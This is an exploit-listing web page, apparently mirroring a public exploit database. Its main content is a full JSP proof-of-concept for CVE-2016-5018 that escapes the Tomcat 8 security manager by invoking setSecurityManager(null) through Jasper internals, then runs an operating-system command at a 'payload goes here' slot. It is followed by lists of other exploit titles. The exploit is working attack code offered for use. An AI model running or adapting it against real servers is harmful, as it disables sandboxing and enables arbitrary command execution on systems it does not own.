Menu

Search for hundreds of thousands of exploits

"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"

Author

Exploit author

hantwister

Platform

Exploit platform

java

Release date

Exploit published date

2020-01-08

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# Exploit Title: Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape
# Date: 2020-01-07
# Exploit Author: Harrison Neal, PatchAdvisor
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.36/bin/apache-tomcat-8.0.36.exe
# Version: 8.0.36
# Description: Tomcat proprietaryEvaluate/introspecthelper Sandbox Escape
# Tested on: Windows 
# CVE: CVE-2016-5018
 /*   
# See https://tomcat.apache.org/tomcat-8.0-doc/security-manager-howto.html for more information about the default sandbox.   
# When Tomcat 8 is configured to run as a service, you can use the Tomcat8w.exe tool to enable/disable the security manager.
# In the Java tab, add the following options:
# -Djava.security.manager
# -Djava.security.policy=C:\Program Files\Apache Software Foundation\Tomcat 8.0\conf\catalina.policy
 */
 
 <%@ page import="java.util.*,java.io.*,org.apache.jasper.runtime.*,java.lang.reflect.*"%>
<%   
    SecurityManager sm = System.getSecurityManager();
    
    if (sm != null) {
        try {
            ProtectedFunctionMapper pfm = ProtectedFunctionMapper.getInstance();

            { // Tomcat 7+
                // Get the desired method
                Method[] methods = (Method[]) PageContextImpl.proprietaryEvaluate(
                        "${pageContext.getServletContext().getClass().getDeclaredMethods()}",
                        Method[].class, pageContext, pfm /*, false*/); // Uncomment "false" parameter for Tomcat 7

                Method theMethod = null;

                for (Method m : methods) {
                    if ("executeMethod".equals(m.getName())) {
                        theMethod = m;
                        break;
                    }
                }

                // Set it to accessible
                JspRuntimeLibrary.introspecthelper(
                        theMethod,
                        "accessible",
                        "true",
                        request,
                        null,
                        false);

                // Run it
                theMethod.invoke(pageContext.getServletContext(),
                        System.class.getMethod("setSecurityManager", new Class[]{SecurityManager.class}),
                        null,
                        new Object[]{null}
                );
            }
            
            /*{ // Tomcat 5.5 and 6
                pfm.mapFunction("hello:world", System.class, "setSecurityManager", new Class[] { SecurityManager.class });
                PageContextImpl.proprietaryEvaluate("${hello:world(null)}", Object.class, pageContext, pfm, false);
            }*/
            
        } catch (Throwable ex) {
            PrintWriter pw = new PrintWriter(out);
            ex.printStackTrace(pw);
            pw.flush();
        }
    }
    
    // Your payload goes here
    try {
        Runtime.getRuntime().exec("calc");
    } catch (Throwable ex) {
        PrintWriter pw = new PrintWriter(out);
        ex.printStackTrace(pw);
        pw.flush();
    }
    
    // Optional put the security manager back
    if (sm != null) {
        System.setSecurityManager(sm);
    }
%>
Release DateTitleTypePlatformAuthor
2020-03-27"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)"doswindows"Ivan Marmolejo"
2020-03-23"ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)"dosios"Ivan Marmolejo"
2020-03-23"rConfig 3.9.4 - 'search.crud.php' Remote Command Injection"webappsphp"Matthew Aberegg"
2020-03-23"Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)"doswindows"Cem Onat Karagun"
2020-03-23"Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection"webappsphpqw3rTyTy
2020-03-23"CyberArk PSMP 10.9.1 - Policy Restriction Bypass"remotemultiple"LAHBAL Said"
2020-03-23"FIBARO System Home Center 5.021 - Remote File Include"webappsmultipleLiquidWorm
2020-03-20"VMware Fusion 11.5.2 - Privilege Escalation"localmacos"Rich Mirch"
2020-03-20"Exagate Sysguard 6001 - Cross-Site Request Forgery (Add Admin)"webappsphp"Metin Yunus Kandemir"
2020-03-18"NetBackup 7.0 - 'NetBackup INET Daemon' Unquoted Service Path"localwindows"El Masas"
2020-03-18"Broadcom Wi-Fi Devices - 'KR00K Information Disclosure"remotemultiple"Maurizio S"
2020-03-18"Microtik SSH Daemon 6.44.3 - Denial of Service (PoC)"remotehardwareFarazPajohan
2020-03-18"Netlink GPON Router 1.0.11 - Remote Code Execution"webappshardwareshellord
2020-03-17"VMWare Fusion - Local Privilege Escalation"localmacosGrimm
2020-03-17"Rconfig 3.x - Chained Remote Code Execution (Metasploit)"remotelinuxMetasploit
2020-03-17"ManageEngine Desktop Central - Java Deserialization (Metasploit)"remotemultipleMetasploit
2020-03-17"Microsoft VSCode Python Extension - Code Execution"localmultipleDoyensec
2020-03-16"PHPKB Multi-Language 9 - 'image-upload.php' Authenticated Remote Code Execution"webappsphp"Antonio Cannito"
2020-03-16"PHPKB Multi-Language 9 - Authenticated Remote Code Execution"webappsphp"Antonio Cannito"
2020-03-16"PHPKB Multi-Language 9 - Authenticated Directory Traversal"webappsphp"Antonio Cannito"
2020-03-16"MiladWorkShop VIP System 1.0 - 'lang' SQL Injection"webappsphp"AYADI Mohamed"
2020-03-16"Enhanced Multimedia Router 3.0.4.27 - Cross-Site Request Forgery (Add Admin)"webappsasp"Miguel Mendez Z"
2020-03-14"Microsoft Windows 10 (1903/1909) - 'SMBGhost' SMB3.1.1 'SMB2_COMPRESSION_CAPABILITIES' Buffer Overflow (PoC)"doswindowseerykitty
2020-03-13"AnyBurn 4.8 - Buffer Overflow (SEH)"localwindows"Richard Davy"
2020-03-13"Drobo 5N2 4.1.1 - Remote Command Injection"remotehardware"Ian Sindermann"
2020-03-13"Centos WebPanel 7 - 'term' SQL Injection"webappslinux"Berke YILMAZ"
2020-03-12"rConfig 3.9 - 'searchColumn' SQL Injection"webappsphpvikingfr
2020-03-12"Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection"webappsphp"Milad karimi"
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-12"HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)"webappsphp"Ismail Akıcı"
Release DateTitleTypePlatformAuthor
2020-03-12"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure"webappsjava"RedTeam Pentesting GmbH"
2020-03-10"Sysaid 20.1.11 b26 - Remote Command Execution"webappsjava"Ahmed Sherif"
2020-02-24"ManageEngine EventLog Analyzer 10.0 - Information Disclosure"webappsjava"Scott Goodwin"
2020-02-17"LabVantage 8.3 - Information Disclosure"webappsjava"Joel Aviad Ossi"
2020-02-06"Cisco Data Center Network Manager 11.2 - Remote Code Execution"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'getVmHostData' SQL Injection"webappsjavamr_me
2020-02-06"Cisco Data Center Network Manager 11.2.1 - 'LanFabricImpl' Command Injection"webappsjavamr_me
2020-02-05"Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation"webappsjavanxkennedy
2020-02-03"Jira 8.3.4 - Information Disclosure (Username Enumeration)"webappsjava"Mufeed VH"
2020-01-29"Liferay CE Portal 6.0.2 - Remote Command Execution"webappsjava"Berk Dusunur"
2020-01-21"ManageEngine Network Configuration Manager 12.2 - 'apiKey' SQL Injection"webappsjava"Ertebat Gostar Co"
2020-01-16"Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting"webappsjava"Ai Ho"
2020-01-09"Oracle Weblogic 10.3.6.0.0 - Remote Command Execution"webappsjavajames
2020-01-08"Tomcat proprietaryEvaluate 9.0.0.M1 - Sandbox Escape"webappsjavahantwister
2020-01-08"Cisco DCNM JBoss 10.4 - Credential Leakage"remotejavahantwister
2020-01-08"JetBrains TeamCity 2018.2.4 - Remote Code Execution"remotejavahantwister
2019-12-17"Zendesk App SweetHawk Survey 1.6 - Persistent Cross-Site Scripting"webappsjavaMTK
2019-12-11"Apache Olingo OData 4.0 - XML External Entity Injection"webappsjava"Compass Security"
2019-12-09"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting"webappsjavaomurugur
2019-11-08"Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting"webappsjavavesche
2019-11-01"Apache Solr 8.2.0 - Remote Code Execution"webappsjava@l3x_wong
2019-10-07"IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload"webappsjava"Jakub Palaczynski"
2019-09-11"AVCON6 systems management platform - OGNL Remote Command Execution"webappsjava"Nassim Asrir"
2019-09-03"Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)"remotejavaMetasploit
2019-07-12"Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting"webappsjava"Ishaq Mohammed"
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-06-17"Spring Security OAuth - Open Redirector"webappsjavaRiemann
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SearchN.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'SiteLookup.do' Cross-Site Scripting"webappsjavaVingroup
2019-06-04"Zoho ManageEngine ServiceDesk Plus 9.3 - 'PurchaseRequest.do' Cross-Site Scripting"webappsjavaVingroup
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47892/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse